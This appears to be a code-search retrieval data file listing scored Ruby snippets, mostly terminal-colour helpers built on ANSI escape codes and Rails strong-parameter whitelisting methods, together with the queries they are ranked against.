[ { "docid": "aedc1aff99c9ccebf8d08a79552e0ffa", "score": "0.73532134", "text": "def red_command\n self.class.colourise_output ? \"\\e\\[31m\" : nil\n end", "title": "" }, { "docid": "f111725776e5021741bac03f02249da1", "score": "0.71105736", "text": "def green_command\n self.class.colourise_output ? \"\\e\\[32m\" : nil\n end", "title": "" }, { "docid": "d521d7e5933aeb28997007ced545e5eb", "score": "0.70957905", "text": "def dark_green; colorize(self, \"\\e[0;32m\"); end", "title": "" }, { "docid": "24c813163ae5f1b68fd97b585922bc80", "score": "0.70478046", "text": "def blue; colorize(self, \"\\e[1;34m\"); end", "title": "" }, { "docid": "7419b6b84b48ccfa13644c91b7840992", "score": "0.70445573", "text": "def green; colorize(self, \"\\e[1;32m\"); end", "title": "" }, { "docid": "1b76745e45e2ffe0d35b2471d3420462", "score": "0.7040385", "text": "def red; colorize(self, \"\\e[1m\\e[31m\"); end", "title": "" }, { "docid": "1eae1a618f7da2ae8c74b77a46df687f", "score": "0.69326115", "text": "def dark_blue; colorize(self, \"\\e[0;34m\"); end", "title": "" }, { "docid": "9f75e699884941ecf15f70b767d6204c", "score": "0.6926088", "text": "def bash_green(string)\n return \"\\033[1m\\033[32m#{string}\\033[0m\\033[22m\"\nend", "title": "" }, { "docid": "0688082cdbe1bb1c5142ff0c950c605f", "score": "0.6866674", "text": "def dark_yellow; colorize(self, \"\\e[0;33m\"); end", "title": "" }, { "docid": "5187a18d8d69dab80ebab2e2a14f4735", "score": "0.6861212", "text": "def line_color(type)\n return :green if type == :stdout\n :red\n end", "title": "" }, { "docid": "98580e3ef77fb1b6f798bcf326f87db3", "score": "0.6851809", "text": "def tell(*args, **kwargs)\n puts colorize(*args, **kwargs)\n end", "title": "" }, { "docid": "484c50316cbb1692457c3c112311b973", "score": "0.68382776", "text": "def colorize(*args)\n shell.set_color(*args)\n end", "title": "" }, { "docid": "77efe0adb8016b434bd5c276f535198e", "score": "0.68320966", "text": "def dark_cyan; colorize(self, \"\\e[0;36m\"); end", "title": "" }, { "docid": "e25bb906e8ea90499970bf7d7e78f4d3", "score": "0.6832032", "text": "def colour(line)\n return line if @no_colour\n line.gsub!(/^([0-9\\-]{10}\\s[0-9:]{8})/) { |m| \"\\033[0;37m#{$1}\\033[0m\" }\n if line.index \"lost connection\" or line.index \"logged in\"\n line.gsub!(/(\\[INFO\\]\\s)(.*)/) { |m| \"#{$1}\\033[1;30m#{$2}\\033[0m\" }\n elsif line.index \"[INFO] CONSOLE:\"\n line.gsub!(\"CONSOLE:\", \"\\033[1;36mCONSOLE:\\033[0m\")\n else\n line.gsub!(/(\\[INFO\\]\\s+\\<)(.*?)(\\>)/) { |m| \"#{$1}\\033[1;34m#{$2}\\033[0m#{$3}\" }\n line.gsub!(/(\\>\\s+)(!.*?)$/) { |m| \"#{$1}\\033[1;33m#{$2}\\033[0m\" }\n end\n return line\n end", "title": "" }, { "docid": "19bad4bd67e08087c0f980a5428a82fc", "score": "0.6827687", "text": "def output(message)\n if $stdout.tty?\n puts message\n else\n puts message.uncolorize\n end\nend", "title": "" }, { "docid": "4ead0dbbbab67a1e34860128e4b048b3", "score": "0.6818137", "text": "def colorize?; end", "title": "" }, { "docid": "4ead0dbbbab67a1e34860128e4b048b3", "score": "0.6818137", "text": "def colorize?; end", "title": "" }, { "docid": "f848a9b2a87baf4f09bd6da52b53a863", "score": "0.6802314", "text": "def red(text); colorize(text, \"\\033[31m\"); end", "title": "" }, { "docid": "b8b3a5cf3b777f85bc20cba04aa86cac", "score": "0.6797485", "text": "def blue(text)\n colorize(text, ENV[\"TTY_BLUE\"] || \"34m\")\nend", "title": "" }, { "docid": "f224d0e26da8dd60dab242798beedac5", "score": "0.67941886", "text": "def purple(input)\n puts \"\\e[95m#{input}\\e[0m\"\nend", "title": "" }, { "docid": "78cce68fa85d70ceb89de6d00ea87c91", "score": "0.6785888", "text": "def dark_red; colorize(self, \"\\e[0;31m\"); end", "title": "" }, { "docid": "9b48df953ccf484966e1f356bff093c5", "score": "0.67847866", "text": "def red; colorize(self, \"\\e[1;31m\"); end", "title": "" }, { "docid": "4fe329a90b9ca2fd34a33ee90ad872a0", "score": "0.67796624", "text": "def print_to_output(output, color = T.unsafe(nil)); end", "title": "" }, { "docid": "4fe329a90b9ca2fd34a33ee90ad872a0", "score": "0.67796624", "text": "def print_to_output(output, color = T.unsafe(nil)); end", "title": "" }, { "docid": "25ccf2af430a3d0d63ae34d49940e9f4", "score": "0.6777697", "text": "def green(text)\n puts \"\\033[0;32;40m#{text}\\033[0m\"\nend", "title": "" }, { "docid": "4a7b7f08a4fd77c63537cc8f0b84b2d9", "score": "0.6773638", "text": "def yellow; colorize(self, \"\\e[1;33m\"); end", "title": "" }, { "docid": "a68a8910bbf18464c339762f07647603", "score": "0.67610425", "text": "def set_color(red, green, blue)\n output = ''\n output << \"\\e]6;1;bg;red;brightness;#{red}\\a\"\n output << \"\\e]6;1;bg;green;brightness;#{green}\\a\"\n output << \"\\e]6;1;bg;blue;brightness;#{blue}\\a\"\n end", "title": "" }, { "docid": "71899b98cc706cc039c90808d67ee665", "score": "0.6759372", "text": "def colorize_blue(text)\n \"\\e[34m\" + text + \"\\e[0m\" # where did they find these things ?!?\nend", "title": "" }, { "docid": "a5441c65fcf187b3412002ae245deed2", "score": "0.67548907", "text": "def display\n print color + \"|\"\n end", "title": "" }, { "docid": "ada1ef1aa6f53ecfe98f1c63620f7664", "score": "0.6754095", "text": "def purple(text)\n colorize(text, ENV[\"TTY_PURPLE\"] || \"36m\")\nend", "title": "" }, { "docid": "3d891f6d1491193f79543812a534cea1", "score": "0.67521334", "text": "def magenta; colorize(self, \"\\e[1;35m\"); end", "title": "" }, { "docid": "e63d2068a7e932092bd710bbf7532a9c", "score": "0.67481506", "text": "def puts_blue(string)\n puts \"\\033[34m\" + string + \"\\033[0m\"\nend", "title": "" }, { "docid": "9c40f8dea115b676840a0760e8e88cbf", "score": "0.67435604", "text": "def write_color(str, console = STDOUT)\n console.write str\nend", "title": "" }, { "docid": "77ee36a5867c6948b2e33e5a8f5a9495", "score": "0.6734716", "text": "def black(text) ; \"\\033[30m#{text}\\033[0m\" ; end", "title": "" }, { "docid": "9ffd3c01203689bab165dc4cf85926f2", "score": "0.67328036", "text": "def red(text)\n puts \"\\033[0;31;40m#{text}\\033[0m\"\nend", "title": "" }, { "docid": "ae5aff0cea2989005878cebbd719eaad", "score": "0.6724854", "text": "def red( text ); colorize( text, \"\\e[31m\" ); end", "title": "" }, { "docid": "f62fd45188c546d2d1cf436922b32937", "score": "0.67140007", "text": "def green(text)\n puts \" #{text.chomp}\".green\n end", "title": "" }, { "docid": "249f811d16a8f598737490fa388ab496", "score": "0.6708211", "text": "def colorise(colorn)\n\tcase colorn\n\twhen -1\n\t\treturn \"\\033[0m\"\n\twhen 0\n\t\treturn \"\\033[34m\"\n\twhen 1\n\t\treturn \"\\033[32m\" \n\twhen 2\n\t\treturn \"\\033[33m\"\n\twhen 3\n\t\treturn \"\\033[31m\"\n\twhen 4\n\t\treturn \"\\033[35m\"\n\telse return \"\\033[36m\"\n\tend\nend", "title": "" }, { "docid": "659d3fc2be4e36a9badcc9c992580f42", "score": "0.6705085", "text": "def yellow(text)\n colorize(text, ENV[\"TTY_YELLOW\"] || \"33m\")\nend", "title": "" }, { "docid": "4cd94e576866033c8bd98cb46207ee13", "score": "0.6702116", "text": "def green(msg)\n \"\\033[0;32m#{msg}\\033[0;37m\"\nend", "title": "" }, { "docid": "4cd94e576866033c8bd98cb46207ee13", "score": "0.6702116", "text": "def green(msg)\n \"\\033[0;32m#{msg}\\033[0;37m\"\nend", "title": "" }, { "docid": "104d8ffb7bb4230c6c7f348d867f2bb3", "score": "0.6690644", "text": "def status(message)\n puts \"\\e[0;1;32m#{message}\\e[0m\"\nend", "title": "" }, { "docid": "60d20bf65f0369f8f44274977a6a90e8", "score": "0.6687579", "text": "def coloring?; end", "title": "" }, { "docid": "ae061e6b66b5be740273bab9b86d659b", "score": "0.663314", "text": "def red(text); colorize(text, 31); end", "title": "" }, { "docid": "d4dc45074f617cad9815830b3ad537df", "score": "0.66142344", "text": "def use_colors?(stream = $stdout)\n ENV['FORCE_COLOR'] || (!ENV['NO_COLOR'] && terminal?(stream))\n end", "title": "" }, { "docid": "7a9dfae88a9f7f10ab85cd279f80dffb", "score": "0.6611323", "text": "def cyan; colorize(self, \"\\e[1;36m\"); end", "title": "" }, { "docid": "582812a67fd0bfefb3fb42662f32c414", "score": "0.66094375", "text": "def red(text); \"\\033[31m#{text}\\033[0m\" end", "title": "" }, { "docid": "b74fc0417d058708a10f09d19caf86d9", "score": "0.66006166", "text": "def red text; \"\\033[0;31m#{text}\\033[0m\"; end", "title": "" }, { "docid": "7fc72e097bf4ab1d858afe2a894ede08", "score": "0.6596762", "text": "def colorize(val, color, isatty); end", "title": "" }, { "docid": "ad4263215cf425260fbbf7575075e318", "score": "0.6583201", "text": "def red(msg)\n \"\\033[0;31m#{msg}\\033[0;37m\"\nend", "title": "" }, { "docid": "ad4263215cf425260fbbf7575075e318", "score": "0.6583201", "text": "def red(msg)\n \"\\033[0;31m#{msg}\\033[0;37m\"\nend", "title": "" }, { "docid": "398c3a977fd84e2f82b8f0b5b6297879", "score": "0.6569445", "text": "def out_color(message, color)\n _out message, color\n end", "title": "" }, { "docid": "ef49f3394dc996556aa8ffd6c74e0452", "score": "0.6546493", "text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend", "title": "" }, { "docid": "ef49f3394dc996556aa8ffd6c74e0452", "score": "0.6546493", "text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend", "title": "" }, { "docid": "ef49f3394dc996556aa8ffd6c74e0452", "score": "0.6546493", "text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend", "title": "" }, { "docid": "ef49f3394dc996556aa8ffd6c74e0452", "score": "0.6546493", "text": "def green(string)\n \"\\033[0;32m#{string}\\e[0m\"\nend", "title": "" }, { "docid": "3867e19e87d8c018ed7949040199dbef", "score": "0.6538192", "text": "def colour(msg)\n puts msg.colorize(:red)\n end", "title": "" }, { "docid": "c9bddbadab64d2a20ef07337c7624fbb", "score": "0.6503641", "text": "def green(text); colorize(text, 32);end", "title": "" }, { "docid": "5dfdb8e55b40abda3d5dd29c9c7846f9", "score": "0.64778185", "text": "def red(text); colorize(text, 31);end", "title": "" }, { "docid": "8afc581d3c01822f9f7a971734d0d6ea", "score": "0.64669657", "text": "def make_red(str)\n \"\\033[41m\" + str + \"\\033[0m\"\nend", "title": "" }, { "docid": "60eecc90a3c5ed77f9142d224c6417d7", "score": "0.64597166", "text": "def colorize_blue(text)\n \"\\e[34m\" + text + \"\\e[0m\"\nend", "title": "" }, { "docid": "7e20ad83b66eba2357ba39252b57eb6f", "score": "0.6427902", "text": "def color(texto,modo,frente,fondo)\n if modo_color == \"color\"\n \"\\033[#{modo};#{frente};#{fondo}m#{texto}\\033[0m\"\n else\n texto\n end\nend", "title": "" }, { "docid": "39852b904de6d4f739d53a3bde449e89", "score": "0.6427345", "text": "def no_colour_command\n self.class.colourise_output ? \"\\e\\[0m\" : nil\n end", "title": "" }, { "docid": "454120360aa298cbc2248b3dc58a44d5", "score": "0.64261246", "text": "def color\n case @status\n when \"up-to-date\" then \"#66CC99\"\n when \"updated\" then \"#FFDC00\"\n when \"skipped\" then \"#DDDDDD\"\n when \"why-run\" then \"#6699FF\"\n when \"failed\" then \"#FF4136\"\n when \"unprocessed\" then \"white\"\n else \"white\"\n end\n end", "title": "" }, { "docid": "335280ed683e7f9e1c9172e53a9417c4", "score": "0.6411871", "text": "def color(color, str)\n raise \"[BUG] Unrecognized color #{color}\" unless COLORS[color]\n\n # Almost any real Unix terminal will support color,\n # so we just filter for Windows terms (which don't set TERM)\n # and not-real terminals, which aren't ttys.\n return str if ENV[\"TERM\"].nil? || ENV[\"TERM\"].empty? || !STDOUT.tty?\n \"\\e[#{COLORS[color]}m#{str}\\e[0m\"\n end", "title": "" }, { "docid": "335280ed683e7f9e1c9172e53a9417c4", "score": "0.6411871", "text": "def color(color, str)\n raise \"[BUG] Unrecognized color #{color}\" unless COLORS[color]\n\n # Almost any real Unix terminal will support color,\n # so we just filter for Windows terms (which don't set TERM)\n # and not-real terminals, which aren't ttys.\n return str if ENV[\"TERM\"].nil? || ENV[\"TERM\"].empty? || !STDOUT.tty?\n \"\\e[#{COLORS[color]}m#{str}\\e[0m\"\n end", "title": "" }, { "docid": "d31acbe59de18a6ed4d4eee7a63df4a6", "score": "0.6409093", "text": "def status(string, *arguments)\n puts(colorize(color, sprintf(string, *arguments)))\n end", "title": "" }, { "docid": "7cce4186f53452ac92c5b029ba4aeb44", "score": "0.6408821", "text": "def write(io, *message)\n do_color = Rscons.application.do_ansi_color\n if do_color.nil?\n do_color = do_ansi?(io)\n end\n out = \"\"\n if do_color\n current_color = RESET\n desired_color = RESET\n message.each do |m|\n if m.is_a?(String)\n lines = m.split(\"\\n\", -1)\n lines.each_with_index do |line, i|\n if line != \"\"\n if current_color != desired_color\n out += desired_color\n current_color = desired_color\n end\n out += line\n end\n if i < lines.size - 1\n # A newline follows\n if current_color != RESET\n out += RESET\n current_color = RESET\n end\n out += \"\\n\"\n end\n end\n else\n case m\n when :red; desired_color = \"\\e[0;31m\"\n when :green; desired_color = \"\\e[0;32m\"\n when :yellow; desired_color = \"\\e[0;33m\"\n when :blue; desired_color = \"\\e[0;34m\"\n when :magenta; desired_color = \"\\e[0;35m\"\n when :cyan; desired_color = \"\\e[0;36m\"\n when :white; desired_color = \"\\e[0;37m\"\n when :boldred; desired_color = \"\\e[1;31m\"\n when :boldgreen; desired_color = \"\\e[1;32m\"\n when :boldyellow; desired_color = \"\\e[1;33m\"\n when :boldblue; desired_color = \"\\e[1;34m\"\n when :boldmagenta; desired_color = \"\\e[1;35m\"\n when :boldcyan; desired_color = \"\\e[1;36m\"\n when :boldwhite; desired_color = \"\\e[1;37m\"\n when :bold; desired_color = \"\\e[1m\"\n when :reset; desired_color = RESET\n end\n end\n end\n if current_color != RESET\n out += RESET\n end\n else\n message.each do |m|\n if m.is_a?(String)\n out += m\n end\n end\n end\n io.write(out)\n end", "title": "" }, { "docid": "dc3cfd0b9f9f4f4595ca842a9b4a2696", "score": "0.6408072", "text": "def colorize(text, color_code); \"#{color_code}#{text}\\033[0m\"; end", "title": "" }, { "docid": "2d2c9b3180c10d5c7fcf07dbbcedd4fd", "score": "0.6403464", "text": "def get_colorize\n @config.colorize ? \" --force-color\" : \" --no-color\"\n end", "title": "" }, { "docid": "408581e19285f83d2199f1ca5d2d241f", "score": "0.64010555", "text": "def red(string)\n if $options.color\n \"\\e[1;31m#{string}\\e[0m\"\n else\n string\n end\nend", "title": "" }, { "docid": "9f0b1199b1b58be9d2ed4258e5afa8bd", "score": "0.63998944", "text": "def colorize(text, color_code); \"#{color_code}#{text}\\e[0m\"; end", "title": "" }, { "docid": "9f0b1199b1b58be9d2ed4258e5afa8bd", "score": "0.63998944", "text": "def colorize(text, color_code); \"#{color_code}#{text}\\e[0m\"; end", "title": "" }, { "docid": "9f0b1199b1b58be9d2ed4258e5afa8bd", "score": "0.63998944", "text": "def colorize(text, color_code); \"#{color_code}#{text}\\e[0m\"; end", "title": "" }, { "docid": "4fc2ff505f664ff0bcb3cb4e9e29aef7", "score": "0.6396667", "text": "def color_logger(input)\n logger.debug 27.chr + \"[1m\" + 27.chr + \"[43m\" + input + 27.chr + \"[0m\"\nend", "title": "" }, { "docid": "02350892207a3b142035b7ab55fc3f49", "score": "0.6384853", "text": "def color(color, str)\n raise \"[BUG] Unrecognized color #{color}\" unless COLORS[color]\n\n # Almost any real Unix terminal will support color,\n # so we just filter for Windows terms (which don't set TERM)\n # and not-real terminals, which aren't ttys.\n return str if ENV[\"TERM\"].nil? || ENV[\"TERM\"].empty? || !STDOUT.tty?\n return \"\\e[#{COLORS[color]}m#{str}\\e[0m\"\n end", "title": "" }, { "docid": "902485d95ae660cc56af6e5db1eaa46b", "score": "0.63767916", "text": "def linux_colors\n linux_misc + linux_shells + linux_images + linux_archives +\n linux_compression + linux_packages + linux_default\n end", "title": "" }, { "docid": "52e69c4793c01c06892d3b17d1b5486d", "score": "0.6375752", "text": "def dark_magenta; colorize(self, \"\\e[0;35m\"); end", "title": "" }, { "docid": "9de33893b595527e9c6f7dd6ef568274", "score": "0.6366893", "text": "def out(s, c = :green)\n z = {:green => 33, :red => 31}; %{\\e[#{z[c] || c}m#{s}\\e[0m}\n end", "title": "" }, { "docid": "21dbbd8b824d92ee30e4cd63d08b0238", "score": "0.6363931", "text": "def colorize( sf )\n sf.lines.each do |line|\n print \"[#{line.line_no}] \"\n line.tokens.flatten.each do |t|\n case t.type\n when :regex\n print \"\\033[32m\"\n print t.content\n print \"\\033[0m\"\n when :double_q_string, :single_q_string\n print \"\\033[0;36m\" + t.content + \"\\033[0m\"\n when :symbol\n print \"\\033[31m\" + t.content + \"\\033[0m\"\n when :instancevar\n print \"\\033[1;34m\" + t.content + \"\\033[0m\"\n when :comment\n print \"\\033[1;30m\" + t.content + \"\\033[0m\"\n else\n if t.keyword?\n print \"\\033[33m\" + t.content + \"\\033[0m\"\n else\n print t.content\n end\n end\n end\n end\nend", "title": "" }, { "docid": "d357b90c77841f93fb607860d4e7dcf3", "score": "0.63630885", "text": "def sysout(msg, tc=0, bc=0, bold=0, underline=0)\n if tc != 0 or bc != 0\n msg = colorize(tc, bc) + msg\n end\n if bold != 0\n msg = boldnize(1) + msg\n end\n if underline != 0\n msg = underlinenize(1) + msg\n end\n\n msg = msg + resetformat\n\n puts msg\nend", "title": "" }, { "docid": "322f4d37eb1a54784d24a335d80ea55a", "score": "0.63597995", "text": "def html_out(msg, color_name=\"black\")\n rgb = Color::RGB::by_name color_name\n @handle.puts \"<span style='color:#{rgb.css_rgb};'>#{msg}</span>\"\n end", "title": "" }, { "docid": "322f4d37eb1a54784d24a335d80ea55a", "score": "0.63597995", "text": "def html_out(msg, color_name=\"black\")\n rgb = Color::RGB::by_name color_name\n @handle.puts \"<span style='color:#{rgb.css_rgb};'>#{msg}</span>\"\n end", "title": "" }, { "docid": "1a0a59613b1a9806858e4afb98866249", "score": "0.63578326", "text": "def red(input)\n puts \"\\e[31m#{input}\\e[0m\"\nend", "title": "" }, { "docid": "0390dcd3395a02e156652391ab159e77", "score": "0.6353339", "text": "def green(string)\n if $options.color\n \"\\e[1;32m#{string}\\e[0m\"\n else\n string\n end\nend", "title": "" }, { "docid": "3f68fdd1b009d4d8fe602e973ab4837a", "score": "0.6349195", "text": "def colorize_logging; end", "title": "" }, { "docid": "51a47d96af0565224e181f18ec51b018", "score": "0.6347861", "text": "def red\n colorize(31)\n end", "title": "" }, { "docid": "51a47d96af0565224e181f18ec51b018", "score": "0.6347861", "text": "def red\n colorize(31)\n end", "title": "" }, { "docid": "d3b89aaab4b232c54a8a03f75ccb3ebc", "score": "0.6340998", "text": "def colorize?\n @env['SSHKIT_COLOR'] || (@output.respond_to?(:tty?) && @output.tty?)\n end", "title": "" }, { "docid": "b39bed2db942bd1ca3d7836ac880ebc1", "score": "0.6340329", "text": "def color(type=1, color=32)\n printf \"\\033[#{color}m\"\n yield\n printf \"\\033[#{type}m\"\nend", "title": "" }, { "docid": "8196766ba8dff6b28024a68a0df0471f", "score": "0.63397753", "text": "def output_step(text, color = :grey)\n out.print(text.to_s.colorize(color))\n end", "title": "" }, { "docid": "f63a38892ec2ff1374f215fc2184e566", "score": "0.6339589", "text": "def color color\n output do |str|\n str << _last_color.push(c.setaf(color)).last\n yield(str)\n str << (_last_color.tap { |c| c.pop }.last || (c.reset + _last_set.last.to_s))\n end\n end", "title": "" }, { "docid": "99965b0bd4c03cd78cccb0c40b468dc7", "score": "0.63393277", "text": "def print_color( sign, color, string, out = $stdout, unmute = false )\n return if muted? && !unmute\n\n str = intercept_print_message( string )\n str = add_resource_usage_statistics( str ) if Arachni.profile?\n\n # We may get IO errors...freaky stuff...\n begin\n if out.tty?\n out.print \"\\033[1;#{color.to_s}m #{sign}\\033[1;00m #{str}\\n\"\n else\n out.print \"#{sign} #{str}\\n\"\n end\n\n out.flush\n rescue\n end\n end", "title": "" }, { "docid": "19de0f2cb58ee2dc27574a354244311b", "score": "0.63267756", "text": "def puts_blue(string)\n puts strip(string).blue\n end", "title": "" }, { "docid": "75d24ba5303b01bd2fc33818bea144bd", "score": "0.63247687", "text": "def red\n return colorize(31)\n end", "title": "" }, { "docid": "75d24ba5303b01bd2fc33818bea144bd", "score": "0.63247687", "text": "def red\n return colorize(31)\n end", "title": "" }, { "docid": "7d0104d271a9e68613909b0c48d2400c", "score": "0.6324412", "text": "def print_color( sign, color, string, out = $stdout, unmute = false )\n return if muted? && !unmute\n\n str = intercept_print_message( string )\n str = add_resource_usage_statistics( str ) if Arachni.profile?\n\n # we may get IO errors...freaky stuff...\n begin\n if out.tty?\n out.print \"\\033[1;#{color.to_s}m #{sign}\\033[1;00m #{str}\\n\"\n else\n out.print \"#{sign} #{str}\\n\"\n end\n rescue\n end\n end", "title": "" }, { "docid": "f906ccdfc5ba327a8fb49dd0839d5b30", "score": "0.63207555", "text": "def color?\n stdout.tty?\n end", "title": "" }, { "docid": "7dde88494fe13c1ae945d502edfe0b3f", "score": "0.6319651", "text": "def gitalsurblanc\n \"\\033[3;7;43m#{self}\\033[0m\"\n end", "title": "" }, { "docid": "3bb08a56e820964bf68bce877ecd649b", "score": "0.6317199", "text": "def print_open3_stdout(stdout)\n stdout.read.split(\"\\n\").each { |msg| puts msg.colorize(:green) }\n end", "title": "" }, { "docid": "8d45c330b3d9f8dad14b755c753bcf8a", "score": "0.63050246", "text": "def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "4aaabebdb1712305bb42af851010aaaf", "score": "0.0", "text": "def payment_plan_params\n params.require(:payment_plan).permit(:title, :description, :starting_date)\n end", "title": "" } ]
[ { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.7121862", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.70524937", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6947974", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.69016707", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6735245", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.67157984", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.66887176", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.66779864", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.6660236", "text": "def filtered_parameters; end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6554225", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "7ac5f60df8240f27d24d1e305f0e5acb", "score": "0.6527208", "text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.6456831", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6451704", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.64509416", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.64478475", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6432556", "text": "def valid_params?; end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.6411603", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.6411603", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.6389978", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63789994", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63789994", "text": "def filter_parameters; end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6374441", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6360967", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6352924", "text": "def check_params; true; end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6282896", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.6279334", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6245072", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6227939", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.6223777", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6222935", "text": "def check_params\n true\n end", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.6210708", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "ff55cf04e6038378f431391ce6314e27", "score": "0.62064576", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.6177963", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "0d980fc60b69d03c48270d2cd44e279f", "score": "0.6171685", "text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.61673856", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.61590475", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.6144345", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.6135466", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.61209214", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": 